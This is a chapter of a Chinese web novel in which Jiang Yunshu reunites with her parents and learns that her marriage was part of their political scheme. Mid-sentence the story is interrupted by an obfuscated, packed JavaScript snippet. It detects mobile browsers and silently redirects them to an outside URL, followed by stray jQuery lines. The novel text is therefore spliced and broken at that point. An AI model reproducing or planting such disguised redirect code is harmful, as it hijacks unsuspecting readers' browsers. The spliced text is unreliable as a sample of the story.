夜风在耳畔呼啸,明明是燥热的夏日,却迎面扑来一片凉爽。
前方短短两里地的距离,姜云舒远远看到火海一片,除了那耀眼的红色,还有迎风招展的旗帜,旗面上,印着的是姜家的族徽。
越是靠近,姜云舒的眼眶越是温热,她控制不住,眼前一片朦胧,朦胧之中无数的火把变成了眼前的红点,如满天星火。
“爹,娘……”
姜云舒手中的缰绳越握越紧,就在眼前那星火逐渐靠近时,耳边呼啸的风声传来一声喊。
“阿舒!”
熟悉的声音传来,姜云舒浑身一僵,随即抬手往脸上擦了一把,再抬头,就见那满天星火之中有两人骑马正朝她的方向奔来。
“爹,娘!”
姜云舒惊呼一声,来不及多想,猛地拉紧缰绳,双手往马肚子上一夹。
“驾——”
骏马嘶鸣,在黑夜之中朝着前方狂奔。
谢无烬也随着拉紧了缰绳,跟上姜云舒的速度。
一刻钟后。
姜云舒一个飞身下马,朝着姜兆霖和唐珩跑过去。
“阿舒!”
唐珩上前迎了两步,一把将姜云舒抱在怀里,话还没来得及说,眼泪先抑制不住往下落。
在娘前面前,姜云舒似乎又回到了那个姜家幺女的模样,一脸委屈似的搂着娘亲流眼泪。
“娘,我好想你!”
姜兆霖上前,将母女二人搂住,便是铁血的英雄,此时也忍不住眼眶泛红。
谢无烬站在边上看着他们骨肉抱在一起,眼睛里含着笑,又带着一丝难以名状的羡慕。
是羡慕的吧。
虽说他也曾经被母妃捧在手心上疼着,可她到底还是离开了,至于父王,虽然给了他荣耀尊贵,可到底还是因为他的出生导致他生母被元太妃害死而耿耿于怀。
他的确羡慕姜云舒有一双将她捧在手心里的父母。
这边三个人相拥哭够了,姜云舒扭头看向谢无烬。
谢无烬会意,朝姜兆霖和唐珩走过来,双手抱拳,恭敬一礼。
“爹,娘!”
两个字,掷地有声。
姜云舒一下子被眼泪呛住,猛地抽了一口气,扭头看向谢无烬。
“爹?娘?”她瞪大眼睛。
别说姜云舒,就是姜兆霖和唐珩也被这一声喊得愣住,不只是愣住,而是凌乱了。
不是,这也太快了吧?
他们还没同意呢,这“爹娘”都喊上了?
姜云舒打了个嗝,然后稍稍恢复了些许,她眼珠转了转,扭头再次看向姜兆霖和唐珩。
“你们同意谢无烬回京找我的?”姜云舒挑眉看向姜兆霖。
姜兆霖扯了扯嘴角,下意识扭头看向唐珩,那意思,这事儿得她说。
唐珩瞪了姜兆霖一眼,转向姜云舒。
“阿舒,你别生气嘛,爹娘这不是担心你在京城吃亏,所以才……”
“都这个时候了,你们还跟我在这里装?”
姜云舒当时脸色一沉,抬头,目光瞪着她那两个不靠谱的爹娘。
“你们可真是下的好大一盘棋,原本我还以为你们将我留在京城是让我避开这些事情,现在才明白,原来我才是这盘棋的关键!”
就在两个时辰之前,谢无烬和她复盘了宫变的整个过程,从他们出发前往凉州,到四皇子率兵前往京城,又有皇后背后操控,这盘棋,原本从四年前父亲带她回京的时候,就已经开始摆好了棋盘。
姜兆霖因为流星火**和北夷僵持的那两年,就察觉到这兵器的不对劲之处,恰逢当时北夷三皇子被比如绝境,双方各为目的才联手。
北夷的境况,姜兆霖并不插手,但北夷动荡之际,还是保住了三皇子的性命,而他们之间的秘密,原本就是姜兆霖和唐珩撒下的饵。
而姜云舒嫁入京城,也在这一环其中,赤羽军本就不服归入玄武军,定国将军府唯一的女儿留在京城做质子,足以让皇后有更多布局的余地,皇后有动作,姜兆霖才好有更多的情报。
至于沈清安,姜兆霖和唐珩早也看出他不是什么良
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089458|180412||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,甚至,这个人还是个投靠两边的墙头草,也正是因为这样,才要让姜云舒嫁了。
面对女儿的质问,姜兆霖和唐珩一脸尴尬的扯了扯嘴角。
“你之前不是一直吵着,爹娘拘着你,不让你参战嘛,这便是给你的试炼机会,只是,这一次不是战场,而是后宅和人性,你已经大了,应该知道……”
话还没说完,姜兆霖就听得“嗖”的一声,下一瞬,姜云舒的鞭子尖头已经抵在了他的脖颈前。
“我该知道什么?你这当爹的把我往火坑里推,你想让我知道什么?”
姜云舒气得气儿都不顺了,一边说着,手里的鞭子又往姜兆霖跟前递了递。
姜兆霖脸上的肌肉抖了抖,一脸无奈地看向旁边的唐珩求救。
“好了,阿舒,这主意是我出的,别为难你爹。”
唐珩略显无奈地叹一口气,上前一步,拉住姜云舒的手。
“不过是让你体验体验人间疾苦,然后你便知道自己要的是什么人,经此一事,爹娘看到你解决的方式,便也能放心了。”
“放,放心?”姜云舒瞪大眼睛,扯了扯嘴角,“你们就那么让我嫁人了,用师父的话,我若再嫁人就是二婚,我不要名节的啊!”
虽说她自小在军营之中长大,对于什么男女授受不亲那种扭捏的规矩的确嗤之以鼻,但想想还是气!
“二婚又如何?当初你休夫,可被人指指点点?”唐珩挑眉。
姜云舒楞了一下,脸上的表情有些微妙。
指指点点是有,但都冲着沈清安的,当时休夫一事宣布之后,她害成了皇家名贵的香饽饽,除了谢无烬他们几个,还有好几家王公候府也来提亲。
此时想到当初仁春堂几位掌柜同时提出接收锦州百姓的提议,姜云舒脑子里飞快闪过思绪,随机想明白一般,惊诧地看向唐珩。
“难不成,从一开始锦州灾民涌向京城,也是你们棋局中的一步?”
早知道自家爹娘是能和皇上玩儿心眼的,没想到,他们的筹谋竟然这么深远!